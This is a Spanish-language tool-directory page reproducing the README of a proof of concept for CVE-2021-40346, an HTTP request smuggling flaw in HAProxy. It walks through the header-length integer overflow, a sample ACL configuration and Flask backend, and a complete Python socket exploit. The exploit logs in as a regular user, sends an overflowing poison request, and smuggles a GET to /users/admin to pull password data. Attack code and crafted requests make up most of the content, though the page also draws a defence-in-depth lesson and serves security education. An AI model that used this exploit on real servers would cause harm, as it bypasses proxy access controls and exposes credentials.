Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-40346 — Contrabando de solicitudes HTTP | Kitploit
Herramientas/GitHubGitHub/boianeduard/cve-2021-40346
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubboianeduard/cve-2021-40346

CVE-2021-40346

Contrabando de solicitudes HTTP

Ver Repositorio
1hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-40346: Contrabando de Solicitudes HTTP en HAProxy - Bypass de ACL

Resumen

Este proyecto demuestra CVE-2021-40346, una vulnerabilidad crítica de desbordamiento de enteros en HAProxy que permite ataques de contrabando de solicitudes HTTP para eludir los controles de seguridad.

Puntaje CVSSv3: 7.5 (Alto)

Contribuyentes:

  1. Boian Eduard
  2. Borsos Matheas-Roland

¿Qué es CVE-2021-40346?

CVE-2021-40346 es una vulnerabilidad de desbordamiento de enteros en la lógica de análisis de encabezados HTTP de HAProxy. Cuando un nombre de encabezado supera los 255 bytes, el valor de longitud se desborda de un campo de 8 bits, lo que hace que HAProxy interprete mal el encabezado durante el reenvío de solicitudes.

Cómo Funciona el Ataque

Desglose Paso a Paso

  1. El atacante envía: Nombre del encabezado = "Content-Length0" + 255×'a' = 270 bytes

  2. Fase 1 (Análisis inicial):

Descargar herramienta
  • HAProxy lee los 270 bytes completos del nombre del encabezado
  • Almacena name_length = 270 % 256 = 14 (desbordamiento de 8 bits)
  • El bit de desbordamiento establece value_length = 1
  • Lee el encabezado legítimo Content-Length: 60 y lo trata como longitud del cuerpo
  • Lee 60 bytes como el cuerpo de la solicitud (que contiene la solicitud de contrabando)
  • Fase 2 (Reenvío de solicitud):

    • Se encuentra con el bloque de encabezado desbordado
    • Lee solo los primeros 14 caracteres: "Content-Length"
    • Lee 1 carácter para el valor (en la posición 14): "0"
    • Agrega content-length: 0 a la solicitud reenviada
    • Ignora el encabezado real Content-Length: 60 (según la lógica normal)
  • Procesamiento del backend:

    • Recibe content-length: 0 desde HAProxy
    • Analiza la solicitud POST sin cuerpo
    • Trata el "cuerpo" (solicitud GET de contrabando) como la siguiente solicitud HTTP
    • Procesa la solicitud de contrabando, eludiendo todas las ACL de HAProxy

  • Ejemplo de Flujo de Ataque

    Bypass de Reglas ACL para Acceder al Endpoint de Administración

    Considere HAProxy configurado con reglas ACL que restringen el acceso a rutas de administración:

    root@kitploit:~
    http-request deny if { path_beg /users/admin }
    

    En nuestro PoC, usamos una sesión de usuario regular (alice) para acceder al endpoint protegido /users/admin que solo debería ser accesible para administradores.

    Solicitud Maliciosa (Solicitud 1 - Veneno):

    root@kitploit:~
    POST / HTTP/1.1
    Host: 127.0.0.1:8080
    Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
    Content-Length: 78
    
    GET /users/admin HTTP/1.1
    Cookie: session=alice_session_token
    DUMMY:
    

    Solicitud que HAProxy Reenvía:

    root@kitploit:~
    POST / HTTP/1.1
    host: 127.0.0.1:8080
    content-length: 0
    x-forwarded-for: 192.168.188.1
    
    GET /users/admin HTTP/1.1
    Cookie: session=alice_session_token
    DUMMY:
    

    Solicitud de Finalización (Solicitud 2):

    root@kitploit:~
    GET / HTTP/1.1
    Host: 127.0.0.1:8080
    
    

    Solicitud de Contrabando Completa que Procesa el Backend:

    root@kitploit:~
    GET /users/admin HTTP/1.1
    Cookie: session=alice_session_token
    DUMMY:GET / HTTP/1.1
    Host: 127.0.0.1:8080
    
    

    Resultado:

    1. HAProxy reenvía POST / con content-length: 0 (la ACL ve la ruta segura)
    2. El backend procesa POST / (sin cuerpo) y espera la siguiente solicitud
    3. El backend trata la solicitud GET /users/admin incompleta de contrabando como solicitud pendiente
    4. La solicitud 2 completa la solicitud de contrabando
    5. El backend procesa GET /users/admin con la sesión de alice, eludiendo la ACL de HAProxy
    6. La respuesta que contiene secretos de administrador se devuelve al atacante

    Prueba de Concepto

    Configuración del Entorno de Prueba

    Configuración de HAProxy (haproxy.cfg)

    La instancia vulnerable de HAProxy está configurada con reglas ACL para proteger el endpoint de administración:

    root@kitploit:~
    ...
        # ACL to detect admin endpoint access
        acl is_admin_endpoint path_beg /users/admin
        
        # ACL to check for admin session cookie
        acl has_admin_session cook(session) -m beg admin_
        
        # Deny access to admin endpoint if user doesn't have admin session
        http-request deny if is_admin_endpoint !has_admin_session
    ...
    

    Puntos Clave:

    • Protección ACL: /users/admin está bloqueado a menos que la cookie de sesión comience con admin_
    • HTTP Keep-Alive (Predeterminado): HAProxy usa el modo keep-alive por defecto, reutilizando conexiones TCP con el backend - esto es crítico para el ataque ya que permite múltiples solicitudes en la misma conexión
    • Control de Acceso basado en Sesión: Los usuarios regulares (sesión que comienza con user_) son denegados

    Servidor Backend (Flask)

    El servidor backend tiene tres usuarios y un endpoint de administración:

    root@kitploit:~
    USERS = [
        {'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
        {'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
        {'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
    ]
    
    @app.route('/login', methods=['POST'])
    def login():
        # ... authentication logic ...
        
        # Generate session token with role prefix
        prefix = 'admin_' if user['role'] == 'admin' else 'user_'
        token = prefix + secrets.token_hex(16)
        
        resp.set_cookie('session', token, httponly=True)
        return resp
    
    @app.route('/users/admin', methods=['GET', 'POST'])
    def users_admin():
        # Returns sensitive data including all user passwords
        rows = ''.join([
            f"{u['id']} | {u['username']} | {u['email']} | "
            f"{u['password']} | {u['role']}" 
            for u in USERS
        ])
        
        return f"ADMIN PANELAll users with passwords:{rows}"
    

    Modelo de Seguridad:

    • Alice (usuario regular) obtiene sesión: user_a1b2c3d4...
    • El administrador obtiene sesión: admin_a1b2c3d4...
    • HAProxy bloquea las solicitudes de Alice a /users/admin
    • Configuración Incorrecta del Backend: El servidor Flask confía ciegamente en que HAProxy ya ha aplicado el control de acceso, y no revalida el token de sesión ni verifica si el usuario es realmente administrador antes de servir datos sensibles
    • Vulnerabilidad: El contrabando HTTP elude la verificación de ACL de HAProxy, y el backend no tiene defensa en profundidad

    Por Qué Funciona:

    1. HAProxy ve la solicitud externa POST / (permitida)
    2. HAProxy verifica las ACL en POST / (sin restricción de administrador)
    3. HAProxy reenvía content-length: 0 (debido al error de desbordamiento)
    4. El backend recibe la solicitud incompleta GET /users/admin
    5. La segunda solicitud la completa, eludiendo la verificación de ACL de HAProxy
    6. El backend sirve ciegamente el endpoint de administración - nunca verifica si el token de sesión es realmente un token de administrador
    7. El backend procesa GET /users/admin directamente, revelando contraseñas

    Lección de Defensa en Profundidad: Esto demuestra por qué los backends nunca deben confiar ciegamente en el proxy. Incluso con las ACL de HAProxy implementadas, el backend debería:

    • Analizar y validar el token de sesión por sí mismo
    • Verificar el rol/permisos del usuario antes de servir endpoints sensibles
    • Implementar su propia lógica de autorización (por ejemplo, decorador @require_admin)

    Depender únicamente del control de acceso a nivel de proxy crea un punto único de fallo.

    Secuencias Clave del Exploit

    El PoC demuestra cómo eludir las ACL de HAProxy para acceder a /users/admin usando la sesión de un usuario regular a través de cuatro pasos clave:

    1. Autenticación como Usuario Regular

    root@kitploit:~
    # Login as alice (non-admin user)
    body = "username=alice&password=alice123"
    login = f"POST /login HTTP/1.1\r\n" \
            f"Host: {TARGET}:{PORT}\r\n" \
            f"Content-Type: application/x-www-form-urlencoded\r\n" \
            f"Content-Length: {len(body)}\r\n\r\n{body}".encode()
    
    sock = socket.socket()
    sock.connect((TARGET, PORT))
    sock.sendall(login)
    time.sleep(0.5)
    
    # Receive response and extract session token
    resp = b""
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        resp += chunk
    sock.close()
    
    session = resp.decode().split('session=')[1].split(';')[0]
    print(f"✓ Session: {session[:35]}...")
    

    Propósito:

    • Obtener un token de sesión legítimo para el usuario regular (alice)
    • Esta sesión normalmente no tiene acceso al endpoint /users/admin
    • Usaremos esta sesión en la solicitud de contrabando para eludir las ACL

    2. Construcción de la Solicitud de Contrabando (Incompleta)

    root@kitploit:~
    # Craft incomplete smuggled request targeting admin endpoint
    smuggled_incomplete = f"GET /users/admin HTTP/1.1\r\nCookie: session={session}\r\nDUMMY:"
    

    Detalles Críticos:

    • Apunta a la ruta protegida /users/admin
    • Usa la sesión legítima del usuario (alice)
    • Termina con el encabezado DUMMY: (sin CRLF) para mantener la solicitud incompleta
    • El backend esperará más datos antes de procesar

    3. Construcción de la Solicitud Venenosa

    root@kitploit:~
    # Create overflow header (270 bytes = 14 after 8-bit overflow)
    overflow_header = "Content-Length0" + ("a" * 255)
    
    # Build complete poison request
    poison = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {TARGET}:{PORT}\r\n"
        f"{overflow_header}:\r\n"                    # Triggers integer overflow
        f"Content-Length: {len(smuggled_incomplete)}\r\n"  # Real body length
        f"\r\n"
        f"{smuggled_incomplete}"                     # Smuggled request as "body"
    ).encode()
    

    Qué Sucede:

    • Content-Length0aaa... (270 bytes) se desborda a 14 bytes
    • HAProxy Fase 2 lee los primeros 14 caracteres: "Content-Length"
    • Valor en la posición 14: "0"
    • HAProxy reenvía: content-length: 0
    • El backend recibe la solicitud GET de contrabando como solicitud pendiente

    4. Envío de las Solicitudes

    root@kitploit:~
    # Send poison request
    sock = socket.socket()
    sock.connect((TARGET, PORT))
    sock.sendall(poison)
    time.sleep(1)
    resp1 = sock.recv(4096)  # Receive POST / response
    
    # Send completion request (completes smuggled request)
    completion = (
        f"GET / HTTP/1.1\r\n"
        f"Host: {TARGET}:{PORT}\r\n"
        f"\r\n"
    ).encode()
    
    sock.sendall(completion)
    time.sleep(2)
    
    # Capture the response of the smuggled request
    all_data = b""
    sock.settimeout(5)
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            all_data += chunk
    except:
        pass
    sock.close()
    
    # Decode and check for success
    text = all_data.decode('utf-8', errors='ignore')
    
    print(f"\n[RESULTS] {len(all_data)} bytes received")
    print("="*70)
    print(text)
    print("="*70)
    
    if "admin_secret" in text:
        print("\n✅ SUCCESS! BYPASSED HAPROXY ACL!")
        print("🔓 Stolen passwords visible in response above!")
    else:
        print("\n⚠️  Check backend logs - smuggling is working but response capture needs adjustment")
    

    Flujo de Solicitud:

    1. Veneno enviado → El backend almacena en búfer la solicitud incompleta GET /users/admin
    2. Finalización enviada → Concatenada a la solicitud de contrabando, agregando doble CRLF
    3. El backend procesa → Solicitud completa GET /users/admin con la sesión de alice
    4. Respuesta capturada → Todos los datos recibidos y decodificados a UTF-8
    5. Detección de éxito → Busca la palabra clave admin_secret en la respuesta